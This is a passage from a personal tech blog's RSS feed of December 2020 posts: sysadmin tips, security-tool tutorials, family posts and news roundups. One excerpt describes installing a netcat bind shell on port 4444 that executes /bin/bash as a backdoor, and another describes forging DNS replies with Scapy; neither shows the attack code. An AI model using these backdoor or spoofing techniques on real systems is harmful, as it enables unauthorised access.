install&lt;/code&gt; anything outside of a python virtual environment &lt;code&gt;.venv&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Happy New Year 2021</title>
      <link>https://jasonmurray.org/posts/2020/hny2021/</link>
      <pubDate>Thu, 31 Dec 2020 19:58:29 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/hny2021/</guid>
      <description>&lt;p&gt;Happy new year from my family to yours.  Stay safe and hug your partner, family, and friends!&lt;/p&gt;&#xA;&lt;p&gt;May the next year bring a new sense of curiosity, empathy, and happiness to us all!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Detect open network ports with nmap</title>
      <link>https://jasonmurray.org/posts/2020/nmapbasicscan/</link>
      <pubDate>Wed, 30 Dec 2020 16:14:25 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/nmapbasicscan/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;A fundamental best practice within network security is to limit the number of listening services exposed to the public Internet.  By limiting the attack surface of servers, rogue actors can not exploit what can&amp;rsquo;t be seen.&lt;/p&gt;&#xA;&lt;p&gt;In the early 2000&amp;rsquo;s it was common for a newly installed server to have &lt;code&gt;telnet&lt;/code&gt;, &lt;code&gt;sendmail&lt;/code&gt;, &lt;code&gt;ntp&lt;/code&gt;, &lt;code&gt;apache&lt;/code&gt;, etc running.  An unpatched flaw in any of these applications, is an avenue for a remote attacker to gain access to potentially sensitive data.  In recent years, system security posture has improved.  The default installation for most modern operating systems either protects the system with host based firewalls or disables services altogether.  It is still a good practice to validate proper protections are in place.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to fix automatic indenting when pasting into vim</title>
      <link>https://jasonmurray.org/posts/2020/vipaste/</link>
      <pubDate>Tue, 29 Dec 2020 14:56:08 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vipaste/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;When pasting text into a &lt;code&gt;vim&lt;/code&gt; editor session, we occasionally run into an issue where line spacing is incorrect due to the &lt;code&gt;autoindent&lt;/code&gt; or &lt;code&gt;smartindent&lt;/code&gt; feature.  When either of these options are set, &lt;code&gt;vim&lt;/code&gt; tries to properly indent the lines based on the file type.   However, if the original source is already indented, &lt;code&gt;smartindent&lt;/code&gt; doubles the indentation.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;When the following options are configured in &lt;code&gt;vim&lt;/code&gt; (&lt;code&gt;autoindent&lt;/code&gt; and &lt;code&gt;smartindent&lt;/code&gt;):&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using configuration templates and auto-vpn to automatically deploy a full-mesh VPN with Meraki routers</title>
      <link>https://jasonmurray.org/posts/2020/merakitemplate/</link>
      <pubDate>Mon, 28 Dec 2020 15:37:32 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/merakitemplate/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;By combining &lt;code&gt;Auto-VPN&lt;/code&gt; and &lt;code&gt;Configuration Templates&lt;/code&gt;, Meraki routers can automatically configure and deploy full mesh site-to-site VPN tunnels with minimal user interaction.&lt;/p&gt;&#xA;&lt;p&gt;The network diagram below is the basis of this configuration guide and lab:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-28-16-35-59.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;template-creation&#34;&gt;Template Creation&lt;/h2&gt;&#xA;&lt;p&gt;The foundation of this lab relies on deploying configurations automatically through the use of configuration templates.   Configuration templates are applied to all devices in the Meraki environment.&lt;/p&gt;&#xA;&lt;p&gt;First create a new network template:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using lsof to determine which processes are listening on TCP or UDP ports</title>
      <link>https://jasonmurray.org/posts/2020/lsoflisten/</link>
      <pubDate>Sun, 27 Dec 2020 19:14:24 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/lsoflisten/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;TL;DR&lt;/h1&gt;&#xA;&lt;p&gt;Use &lt;code&gt;lsof&lt;/code&gt; to find all processes listening on &lt;code&gt;TCP&lt;/code&gt; or &lt;code&gt;UPD&lt;/code&gt; ports:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo lsof -n | egrep &amp;#39;TCP.*LISTEN|UDP&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;After a routine security audit using &lt;code&gt;nmap&lt;/code&gt;, a production server is found to be running a rogue server listening on port 8000:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ nmap shell.jasonmurray.org&#xA;Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-27 19:23 CST&#xA;Nmap scan report for shell.jasonmurray.org (104.131.191.87)&#xA;Host is up (0.067s latency).&#xA;Other addresses for shell.jasonmurray.org (not scanned): 2604:a880:800:10::19d5:4001&#xA;Not shown: 991 closed ports&#xA;PORT     STATE    SERVICE&#xA;22/tcp   open     ssh&#xA;80/tcp   open     http&#xA;443/tcp  open     https&#xA;8000/tcp open     http-alt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Connecting to port 8000 confirms the host is leaking files:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Pandoc to convert Hugo markdown with inline images</title>
      <link>https://jasonmurray.org/posts/2020/pandocimages/</link>
      <pubDate>Sat, 26 Dec 2020 16:05:29 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pandocimages/</guid>
      <description>&lt;h1 id=&#34;problem&#34;&gt;Problem&lt;/h1&gt;&#xA;&lt;p&gt;I write a lot of documentation within the &lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt; framework for publishing on my &lt;a href=&#34;https://jasonmurray.org&#34;&gt;personal website&lt;/a&gt; (this site).  On occasion, I prefer to export a page to a standalone file without the HTML headers and footers Hugo applies as the site is generated.&lt;/p&gt;&#xA;&lt;p&gt;To convert Hugo &lt;code&gt;markdown&lt;/code&gt; files I use &lt;code&gt;pandoc&lt;/code&gt;.  If the &lt;code&gt;markdown&lt;/code&gt; files contain explicit image links like this &lt;code&gt;![](/images/2020-12-26-15-31-02.png)&lt;/code&gt; &lt;code&gt;pandoc&lt;/code&gt; will not find the images:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Documents/kringle2020/writeups $ pandoc ../../www-personal/current/jasonmurray.org/content/posts/kc3-2020-obj9.md  -o obj9.docx -f markdown -t docx --resource-path=../../www-personal/current/jasonmurray.org/static&#xA;[WARNING] Could not fetch resource &amp;#39;/images/2020-12-26-15-31-02.png&amp;#39;: PandocIOError &amp;#34;/images/2020-12-26-15-31-02.png&amp;#34; /images/2020-12-26-15-31-02.png: openBinaryFile: does not exist (No such file or directory)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;solution&#34;&gt;Solution&lt;/h1&gt;&#xA;&lt;p&gt;To resolve the explicit image path issue, I preprocess the &lt;code&gt;markdown&lt;/code&gt; files with the following &lt;code&gt;sed&lt;/code&gt; search-and-replace which replaces the explicit path with a relative path:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Merry Christmas from the Murray&#39;s 2020</title>
      <link>https://jasonmurray.org/posts/2020/merrychristmas2020/</link>
      <pubDate>Fri, 25 Dec 2020 21:18:59 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/merrychristmas2020/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1351.JPG&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Santa&#39;s relationship with Jeff Bezos?</title>
      <link>https://jasonmurray.org/posts/2020/santaamazon/</link>
      <pubDate>Thu, 24 Dec 2020 14:15:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/santaamazon/</guid>
      <description>&lt;p&gt;&amp;ldquo;Wait, I forgot something in the house!  I’ll be right back.&amp;rdquo;, my mom would say as we sat in the car to leave for the late Christmas eve church service.  I didn&amp;rsquo;t realize until I had children of my own, Santa sometimes drops off presents early.  He would leave a note for the parents explaining how to properly place presents under the tree and thank us for the help.  In the 17 years since our children were born, Santa only graced our presence once during an exceptionally busy time in the St. Louis area.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Wireshark can read and decode CAN Bus data</title>
      <link>https://jasonmurray.org/posts/2020/wiresharkcanbus/</link>
      <pubDate>Wed, 23 Dec 2020 17:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wiresharkcanbus/</guid>
      <description>&lt;h1 id=&#34;what-is-can-bus&#34;&gt;What is CAN Bus&lt;/h1&gt;&#xA;&lt;p&gt;The CAN Bus or Controller Area Network, is a message based protocol in vehicles to facilitate communication between electronic control units (ECU).  An ECU can be any device in the vehicle such as the engine, steering, cruise control, power locks, infotainment system, or sensors.&lt;/p&gt;&#xA;&lt;h1 id=&#34;wireshark&#34;&gt;Wireshark&lt;/h1&gt;&#xA;&lt;p&gt;Wireshark can decode CAN-BUS data:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-23-17-43-21.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Searching man pages</title>
      <link>https://jasonmurray.org/posts/2020/mansearch/</link>
      <pubDate>Tue, 22 Dec 2020 09:22:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/mansearch/</guid>
      <description>&lt;p&gt;Search for commands, functions, or key words in &lt;code&gt;man&lt;/code&gt; pages using the &lt;code&gt;man -k&lt;/code&gt; or &lt;code&gt;apropos&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ man -k regex&#xA;re_comp (3)          - BSD regex functions&#xA;re_exec (3)          - BSD regex functions&#xA;regcomp (3)          - POSIX regex functions&#xA;regerror (3)         - POSIX regex functions&#xA;regex (3)            - POSIX regex functions&#xA;regex (7)            - POSIX.2 regular expressions&#xA;regexec (3)          - POSIX regex functions&#xA;regfree (3)          - POSIX regex functions&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Intercepting and Editing HTTP Requests with Burp Suite</title>
      <link>https://jasonmurray.org/posts/2020/burpedit/</link>
      <pubDate>Mon, 21 Dec 2020 16:39:39 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/burpedit/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://portswigger.net/burp/communitydownload&#34;&gt;Burp Suite Community Edition&lt;/a&gt; is a tool for exploring &lt;code&gt;http&lt;/code&gt; transactions between a client and the server.&#xA;We can intercept, edit, decode, and examine all requests by proxying browser traffic through burp suite.&lt;/p&gt;&#xA;&lt;h1 id=&#34;examples&#34;&gt;Examples&lt;/h1&gt;&#xA;&lt;p&gt;To keep it simple, explore Burp with the built in browser:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-21-16-56-31.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Viewing a webpage with Intercept turned off.  In this mode the website flows freely through burp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-21-16-59-45.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;When &lt;code&gt;intercept is on&lt;/code&gt;, each transaction is stopped for inspection:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cyberchef, the swiss army knife of converting, analyzing, and decoding information</title>
      <link>https://jasonmurray.org/posts/2020/cyberchef/</link>
      <pubDate>Sun, 20 Dec 2020 18:32:18 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cyberchef/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://gchq.github.io/CyberChef/&#34;&gt;CyberChef&lt;/a&gt; is a simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages.&lt;/p&gt;&#xA;&lt;p&gt;There are around 200 useful operations in CyberChef for anyone working on anything vaguely Internet-related, whether you just want to convert a timestamp to a different format, decompress gzipped data, create a SHA3 hash, or parse an X.509 certificate to find out who issued itCyberChef encourages both technical and non-technical people to explore data formats, encryption and compression.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Married for 22 years</title>
      <link>https://jasonmurray.org/posts/2020/22years/</link>
      <pubDate>Sat, 19 Dec 2020 15:55:54 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/22years/</guid>
      <description>&lt;h1 id=&#34;happy-anniversary-to-us&#34;&gt;Happy Anniversary to US!&lt;/h1&gt;&#xA;&lt;p&gt;Twenty-two years ago today, I married this gal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-19-16-02-23.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;faq&#34;&gt;FAQ&lt;/h1&gt;&#xA;&lt;h3 id=&#34;when-were-you-married&#34;&gt;When were you married?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1998&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;how-did-you-meet&#34;&gt;How did you meet?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blind date setup setup by a mutual friend.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;where-was-your-first-date&#34;&gt;Where was your first date?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We went to see &lt;a href=&#34;https://en.wikipedia.org/wiki/From_Dusk_till_Dawn&#34;&gt;Dusk to Dawn&lt;/a&gt;.  Yes, this was an awkward first date movie.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;funny-moment-from-your-first-date&#34;&gt;Funny moment from your first date?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jami thought I was a drug dealer because I carried a cell phone and pager.  Remember this in the late 1990&amp;rsquo;s,  cell phones and pagers were not common.  I guess she liked bad boys.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;how-did-you-propose&#34;&gt;How did you propose?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In her parents basement.  One night while we were hanging out together, I lit a candle, knelt down and asked her to marry me.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;memorable-early-moment-in-your-lives&#34;&gt;Memorable early moment in your lives?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On Friday I graduated from college, Saturday we were married, Sunday - Friday we went on our honeymoon in Mexico, Sunday we moved to Chicago in the worst snow storm in 20 years, Monday I started working in Chicago and Jami start college at UIC.   In a span of one week, we endured three of the life changing events: graduating, marriage, and moving.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;where-was-your-first-house--apartment&#34;&gt;Where was your first house / apartment?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A second floor apartment at &lt;a href=&#34;https://www.google.com/maps/place/1812+Georgia+Ct,+Schaumburg,+IL+60193/@41.996949,-88.1287467,760m/data=!3m1!1e3!4m5!3m4!1s0x880fa976e8981773:0xee9e107205552528!8m2!3d41.996945!4d-88.126558&#34;&gt;1812 Georgia Court in Schaumburg, IL&lt;/a&gt;.  A few of our friends from Michigan, who moved at the same time we did, also lived here.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;first-big-purchase-as-a-married-couple&#34;&gt;First big purchase as a married couple?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Weber gas grill.   We still have it 22 years later.&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Week in Review: Issue #3</title>
      <link>https://jasonmurray.org/posts/2020/friday20201218/</link>
      <pubDate>Fri, 18 Dec 2020 15:01:46 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/friday20201218/</guid>
      <description>&lt;p&gt;Issue #3 of Jason&amp;rsquo;s Week in Review, a consolidated source of news I found interesting over the past week.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.nytimes.com/interactive/2020/10/30/science/wear-mask-covid-particles-ul.html&#34;&gt;https://www.nytimes.com/interactive/2020/10/30/science/wear-mask-covid-particles-ul.html&lt;/a&gt; - The NewYork times created an interactive view detailing how masks helps to spread the transmission of the corona virus and other potential pathogens.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://news.ycombinator.com/item?id=25415989&amp;amp;p=2&#34;&gt;https://news.ycombinator.com/item?id=25415989&amp;amp;p=2&lt;/a&gt; - Google experienced an outage across many of their services.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://arstechnica.com/gadgets/2020/12/google-sees-major-services-outages-two-days-in-a-row/&#34;&gt;https://arstechnica.com/gadgets/2020/12/google-sees-major-services-outages-two-days-in-a-row/&lt;/a&gt; - Google experienced another outage that bounced inbound email.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html&#34;&gt;https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html&lt;/a&gt; - Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.reuters.com/article/us-usa-cyber-breach-idUSKBN28R2ZJ&#34;&gt;https://www.reuters.com/article/us-usa-cyber-breach-idUSKBN28R2ZJ&lt;/a&gt; - Microsoft found malware related to the SolarWinds compromise.   This adds to an already alarming number of organizations affected by this incident.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/rocky-linux/rocky&#34;&gt;https://github.com/rocky-linux/rocky&lt;/a&gt; - Rocky Linux is a community enterprise Operating System designed to be 100% bug-for-bug compatible with Enterprise Linux, now that CentOS has shifted direction.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.wired.com/story/bgp-routing-manrs-google-fix/&#34;&gt;https://www.wired.com/story/bgp-routing-manrs-google-fix/&lt;/a&gt; - Over the past few weeks a group of high profile Internet service providers have been working on concrete recommendations to improve information published in the IRRs, enabling RPKI, and enhancing collaboration with tier-1 providers.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.washingtonpost.com/nation/2020/12/14/first-covid-vaccines-new-york/&#34;&gt;https://www.washingtonpost.com/nation/2020/12/14/first-covid-vaccines-new-york/&lt;/a&gt; - Sandra Lindsay’s is the first first American to receive the coronavirus vaccine outside a clinical trial.&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Using the /proc file system to gather information about the current process</title>
      <link>https://jasonmurray.org/posts/2020/procenv/</link>
      <pubDate>Thu, 17 Dec 2020 16:42:04 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/procenv/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;code&gt;/proc&lt;/code&gt; directory is a pseudo-file system. It doesn&amp;rsquo;t contain &amp;lsquo;real&amp;rsquo; files but runtime system information (e.g. system memory, devices mounted, hardware configuration, etc).  In order words, it contains information about the running server as reported by the kernel.&lt;/p&gt;&#xA;&lt;p&gt;There is a vast amount of information in the &lt;code&gt;/proc&lt;/code&gt; directory.  Today I needed to find information about the current process without running any commands.   By using the &lt;code&gt;/proc/self/*&lt;/code&gt; files, this information is readily available.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Replying to DNS queries with Python Scapy</title>
      <link>https://jasonmurray.org/posts/2020/scapydns/</link>
      <pubDate>Wed, 16 Dec 2020 16:15:39 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/scapydns/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Scapy is a Python program that enables users to send, sniff, dissect, and forge network packets.   In this example, I use Scapy to intercept a specific DNS query and reply with a spoofed answer.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Start the Scapy script (scroll down to see the code):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(.venv) root@home-server:/home/jemurray/scapy# ./scapy-dns.py&#xA;.&#xA;Sent 1 packets.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Send a query to the system running the Scapy script.  For this example, there is no need to have a working DNS resolver.  The Scapy program is listening on the raw interface waiting for a DNS packet to arrive.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Remote bash shell using netcat</title>
      <link>https://jasonmurray.org/posts/2020/ncshell/</link>
      <pubDate>Tue, 15 Dec 2020 16:20:51 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ncshell/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;In a recent project, I was asked to compromise and install a backdoor shell by exploiting a flaw in the package management system.  To keep it simple, I chose &lt;code&gt;nc&lt;/code&gt; (netcat) as the conduit to make the connection and execute &lt;code&gt;/bin/bash&lt;/code&gt; on the remote host.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;On the remote system, I deployed a &lt;code&gt;nc&lt;/code&gt; listener waiting for a connection on TCP port 4444.  When a connection is made, &lt;code&gt;nc&lt;/code&gt; executes &lt;code&gt;/bin/bash&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Excluding matches with a regex exception</title>
      <link>https://jasonmurray.org/posts/2020/regexexcept/</link>
      <pubDate>Mon, 14 Dec 2020 13:34:18 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/regexexcept/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;I am embarrassed to admit this, but I have never used a regex exclusion &lt;code&gt;[^...]&lt;/code&gt; before.  Regular expressions have been a part of my career for as far back as I can remember.   I actually thought I had a pretty solid understanding of all the options available.   But, exclusions&amp;hellip; I somehow missed them.&lt;/p&gt;&#xA;&lt;p&gt;With this construct we can find everything EXCEPT &lt;code&gt;&amp;lt;insert pattern match here&amp;gt;&lt;/code&gt;, by using the exception &lt;code&gt;[^...]&lt;/code&gt; character class.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Extracting files from a MS Windows, Nullsoft Installer self-extracting archive on Linux</title>
      <link>https://jasonmurray.org/posts/2020/selfextractingarch/</link>
      <pubDate>Sun, 13 Dec 2020 20:20:52 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/selfextractingarch/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;TL;DR&lt;/h1&gt;&#xA;&lt;p&gt;Extract files from a Nullsoft self-extracting archive using, &lt;code&gt;7z&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;7z e myapp.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Given a Nullsoft self-extracting archive file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ file myapp.exe&#xA;myapp.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install the extraction software on Linux, in this example Debian:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install p7zip-full&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Extract files from the &lt;code&gt;.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ 7z e myapp.exe&#xA;&#xA;7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21&#xA;p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Xeon(R) Gold 6248 CPU @ 2.50GHz (50657),ASM,AES-NI)&#xA;&#xA;Scanning the drive for archives:&#xA;1 file, 49824644 bytes (48 MiB)&#xA;&#xA;Extracting archive: myapp.exe&#xA;--&#xA;Path = myapp.exe&#xA;Type = Nsis&#xA;Physical Size = 49824644&#xA;Method = Deflate&#xA;Solid = -&#xA;Headers Size = 102546&#xA;Embedded Stub Size = 57856&#xA;SubType = NSIS-3 Unicode BadCmd=11&#xA;&#xA;Everything is Ok&#xA;&#xA;Files: 9&#xA;Size:       50033887&#xA;Compressed: 49824644&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Extracted files:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Multiple search options in find</title>
      <link>https://jasonmurray.org/posts/2020/kringlefind/</link>
      <pubDate>Sat, 12 Dec 2020 22:16:21 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/kringlefind/</guid>
      <description>&lt;p&gt;In CTF game I am playing, one of my tasks is to &lt;code&gt;find&lt;/code&gt; a file with a specific name, size, and owner deep within a directory tree.  &lt;code&gt;find&lt;/code&gt; is the logical command, but what are the options?&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;code&gt;-a&lt;/code&gt; option, multiple search criteria are chained together with logical &lt;code&gt;and&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ find . -type f -a -name &amp;#39;*foo*&amp;#39; -a -size +5G -a -size -20G -a -user jemurray -ls&#xA;   131244 14498696 -rw-r--r--   1 jemurray jemurray 14846652416 Dec 13 01:49 ./14G-foo.img&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Week in Review: Issue #2</title>
      <link>https://jasonmurray.org/posts/2020/friday20201211/</link>
      <pubDate>Fri, 11 Dec 2020 08:54:30 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/friday20201211/</guid>
      <description>&lt;p&gt;Issue #2 of Jason&amp;rsquo;s Week in Review, a consolidated source of news I found interesting over the past week.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/oskarsve/ms-teams-rce&#34;&gt;https://github.com/oskarsve/ms-teams-rce&lt;/a&gt; - Zero-click, wormable, cross-platform remote code execution in Microsoft Teams.   Opening a message from an attacker is all that is necessary to remotely execute code on the victims computer.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://arstechnica.com/tech-policy/2020/12/spacex-gets-886-million-from-fcc-to-subsidize-starlink-in-35-states/&#34;&gt;https://arstechnica.com/tech-policy/2020/12/spacex-gets-886-million-from-fcc-to-subsidize-starlink-in-35-states/&lt;/a&gt; -SpaceX has been awarded $885.51 million by the Federal Communications Commission to provide Starlink broadband to 642,925 rural homes and businesses in 35 states.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://lists.centos.org/pipermail/centos-announce/2020-December/048208.html&#34;&gt;https://lists.centos.org/pipermail/centos-announce/2020-December/048208.html&lt;/a&gt; - CentOS is making a significant shift from their current OS offering.   Instead of producing a production clone of RedHat Linux, after 2021 CentOS Linux 8, will cease as a rebuild of RHEL 8.  CentOS Stream continues after that date, serving as the upstream (development) branch of Red Hat Enterprise Linux.  In laymen&amp;rsquo;s terms, CentOS will no longer be a stable RedHat clone.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://arstechnica.com/information-technology/2020/12/default-password-in-radiology-devices-leaves-healthcare-networks-open-to-attack/&#34;&gt;https://arstechnica.com/information-technology/2020/12/default-password-in-radiology-devices-leaves-healthcare-networks-open-to-attack/&lt;/a&gt; - Dozens of radiology products from GE Healthcare contain a critical vulnerability that threatens the networks of hospitals and other health providers that use the devices, officials from the US government and a private security firm said on Tuesday. The devices—used for CT scans, MRIs, X-Rays, mammograms, ultrasounds, and positron emission tomography—use a default password to receive regular maintenance. The passwords are available to anyone who knows where on the Internet to look.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.youtube/news-and-events/supporting-the-2020-us-election&#34;&gt;https://blog.youtube/news-and-events/supporting-the-2020-us-election&lt;/a&gt; - Youtube will start blocking misinformation by removing any piece of content uploaded that misleads people by alleging widespread fraud or errors changed the outcome of the 2020 U.S.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 